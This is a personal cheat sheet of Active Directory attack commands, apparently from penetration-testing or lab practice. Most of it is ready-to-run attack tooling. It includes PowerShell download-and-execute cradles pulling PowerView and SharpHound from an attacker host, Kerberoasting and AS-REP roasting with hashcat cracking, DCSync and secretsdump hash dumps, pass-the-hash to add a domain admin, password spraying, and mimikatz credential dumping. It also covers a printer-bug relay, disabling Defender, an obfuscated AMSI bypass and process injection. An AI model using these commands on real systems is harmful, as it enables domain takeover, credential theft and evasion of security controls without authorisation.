Domain Enumeration + Exploitation

This is just a living document of things I have needed for domain enumeration/exploitation

POWERSPLOIT

Use the dev branch or PowerSploit. For an already incredible cheat sheet, check out HarmJ0y's.

IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')

Get Domain Users

Get-NetUser * -Domain corp.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset, lastlogontimestamp,accountexpires,admincount,userprincipalname, serviceprincipalname, mail,useraccountcontrol | Export-CSV users.csv

Get Domain Computers

Get-NetComputer * -Domain corp.local | Select-Object -Property dnshostname,operatingsystem,operatingsystemservicepack,lastlogontimestamp | Export-CSV computers.csv

SPN Ticket Request (Kerberoast)

Get-DomainUser * -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Export-Csv .\ticket.csv -NoTypeInformation

Enumerate User DACLs

PS C:\> Get-DomainObjectAcl -Identity it_admin -ResolveGUIDs ? { $_.SecurityIdentifier -Match $(ConvertTo-SID burmat) }
AceType : AccessAllowed
ObjectDN : CN=it_admin,CN=Users,DC=BURMAT,DC=CO
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-2736429227-4547413232-2815246478-1130
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2736429227-4547413232-2815246478-1107
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed

Reset Domain User Password

If you own the owner of another AD user object (WriteOwner, WriteDACL, GenericWrite, Owner, etc), you can reset the password with ease:

IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')
$user = 'DOMAIN\owner_acct';
$pass= ConvertTo-SecureString 'Password123!' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'burmatw@sh3r3' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\vuln_user' -AccountPassword $newpass -Credential $creds;

Or if you can set yourself as owner, the following will do:

IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')
Set-DomainObjectOwner -Identity it_admin -OwnerIdentity burmat
Add-DomainObjectAcl -TargetIdentity it_admin -PrincipalIdentity burmat
$newpass = ConvertTo-SecureString -String 'burmat123$' -AsPlainText -Force
Set-DomainUserPassword -Identity it_admin -AccountPassword $newpass

Add/Exploit DCSync Rights

Do you have WriteDACL to a domain? Give DCSync rights to an unprivileged domain user account:

Add-DomainObjectAcl -TargetIdentity "DC=burmatco,DC=local" -PrincipalIdentity useracct1 -Rights DCSync

And use these rights to dump the hashes from the domain:

meterpreter > dcsync_ntlm BURMATCO\\useracct1

IMPACKET

Thanks to the impacket toolset, exploiting misconfigurations in AD environments is made easier.

GetNPUsers.py

Attempt to get TGTs for users that have UF_DONT_REQUIRE_PREAUTH set:

python GetNPUsers.py -request -no-pass -dc-ip 10.10.10.123 burmat.co/ -usersfile users.txt

secretsdump.py

Attack a local offline copy of NTDS.dit:

./secretsdump.py -ntds /root/l00t/ntds.dit -system /root/l00t/systemhive LOCAL

Or you can attack a system remotely:

./secretsdump.py -just-dc-ntlm burmat.co/administrator@10.10.10.123

CRACKMAPEXEC

Pass-the-Hash

Because hashes are just as good:

## create a new user
crackmapexec smb 10.10.10.123 -u 'administrator' -d 'burmat.co' -H 'd7452863d1e8e15241nn50ceb1ab9dfe' -x 'net user burmat Pwn3dPwn3d! /add /domain'
## add user to domain admins group
crackmapexec smb 10.10.10.123 -u 'administrator' -d 'burmat.co' -H 'd7452863d1e8e15241nn50ceb1ab9dfe' -x 'net group "Domain Admins" /add burmat /domain'

Password Spraying

Switch out usernames/passwords/targets with lists:

## to spray that Spring2020! and a list of users against a list of targets:
crackmapexec smb ~/targets.txt -u ~/users.txt -p Spring2020! -d burmat.co

Dumping Credentials

## mimikatz module
crackmapexec smb 10.10.10.123 -u 'administrator' -d 'burmat.co' -p 'S3cur3PW123' -M mimikatz -o COMMAND='privilege::debug'
## SAM database
crackmapexec smb 10.10.10.123 -u 'administrator' -d 'burmat.co' -p 'S3cur3PW123' --sam

KERBEROS

Brute Usernames with Nmap

nmap -v -Pn -p 88 --script krb5-enum-users.nse --script-args "realm='burmat.co', userdb='users.txt'" 10.10.10.123

Kerberoasting:

Rubeus:

./rubeus.exe kerberoast /creduser:burmat.co\xsvc /credpassword:S3cur3PW123 /outfile:user.hash

Impacket:

./GetUserSPNs.py -request -dc-ip 10.10.10.123 burmat.co/xsvc:S3cur3PW123
hashcat -m 13100 hash.txt -a 0 /usr/share/wordlists/rockyou.txt --force

PowerView:

IEX(New-Object Net.WebClient).downloadString('http://10.10.15.123/ps/PowerView.ps1');
$securePassword = ConvertTo-SecureString 'S3cur3PW123' -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential('burmat.co\xsvc', $securePassword);
Get-DomainUser -Credential $credential -Server dc01.burmat.co -SPN | Get-DomainSPNTicket -Credential $credential -OutputFormat Hashcat

Attacking spoolss ("The Printer Bug")

From a host with unconstrained delegation, "the printer bug" and dementor.py can be used to cause a TGT relay from the target host to us running responder, so we can generate a TGS for any user on that target host:

## set up a relay with responder:
responder -I tun0 --lm # tun0 = 10.10.15.123
## execute exploit through:
proxychains python dementor.py -u xsvc -p 'S3cur3PW123' -d 'burmat.co' 10.10.15.123 10.10.10.123

BLOODHOUND

Ingestor Launch

IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.123/ps/SharpHound.ps1');
Invoke-BloodHound -CollectionMethod All -CompressData -SkipPing;

LDAP QUERIES

Below are some useful LDAP queries that will help you enumerate a system. Some of them require a valid username/password to get more information. My go-to for these queries is ldapsearch.

Null session:

ldapsearch -x -h 10.10.10.123 -D '' -w '' -b "DC=BURMAT,DC=CO"

Authenticated:

ldapsearch -LLL -x -H ldap://burmat.co -D "svc-burmat" -w "burmat123$" -b "dc=burmat,dc=co" "<LDAP QUERY HERE>"

ASREPRoast Accounts

## ldap filter to find accounts susceptible to this:
"(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
## generate a list of user accounts and use impacket to exploit:
python GetNPUsers.py -request -no-pass -dc-ip 10.1.1.123 burmat.co/ -usersfile users.txt
## and if you get a ticket, you can crack it:
hashcat -m 18200 -a 0 --force user.hash /usr/share/wordlists/rockyou.txt

User Account Objects with SPNs

"(&(&(servicePrincipalName=*) (UserAccountControl:1.2.840.113556.1.4.803:=512)) (!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"
## if you get valid domain credentials, you can dump them w/ impacket for offline cracking:
python GetUserSPNs.py -request burmat.co/svc-burmat:burmat123$

User and Computers with Unconstrained Delegation

# user:
"(&(&(objectCategory=person) (objectClass=user)) (userAccountControl:1.2.840.113556.1.4.803:=524288))"
# computer:
"(&(objectCategory=computer) (objectClass=computer) (userAccountControl:1.2.840.113556.1.4.803:=524288))"

Domain Administrators

"(&(objectClass=user) (memberof:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=burmat,DC=co))"

Group Policies

"objectClass=groupPolicyContainer"

EVADING AV

Checking Status

# is av enabled:
PS C:\> Get-MpComputerStatus
# applocker rules:
PS C:\> $a = Get-ApplockerPolicy -effective
PS C:\> $a.rulecollections
# constrained?:
PS C:\> $ExecutionContext.SessionState.LanguageMode

PowerShell Bypass with 32-bit

PowerShell disabled for you? Try running the 32-bit copy of it:

C:\windows\syswow64\windowspowershell\v1.0\powershell whoami

Writable Folders for Bypassing Execution Control

Try putting your payload in one of the following directories:

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing

Turning Off Defender's RTM

PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus

AMSI Bypass

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

PROCESS ELEVATION (via SeDebugPrivilege)

If you run whoami /priv and you see SeDebugPrivilege set to Enabled, you can assume you already have SYSTEM.

One way of doing it, is using decoder's psgetsys.ps1 script once you have a good idea on a PID to inject:

. .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(7864,'C:\temp\burmat443.exe');

You can also gain a MSF session and use the module windows/manage/payload_inject with a PID of your choice.

REMOTE DESKTOP

Enable RDP

PS C:\> Set-itemproperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\' -Name "fDenyTSConnections" -value 0
PS C:\> Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\' -Name "UserAuthentication" -value 1
PS C:\> Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

MISCELLANEOUS

# list shared folders
PS> Get-WmiObject -Class Win32_Share -Computer dc1.burmat.co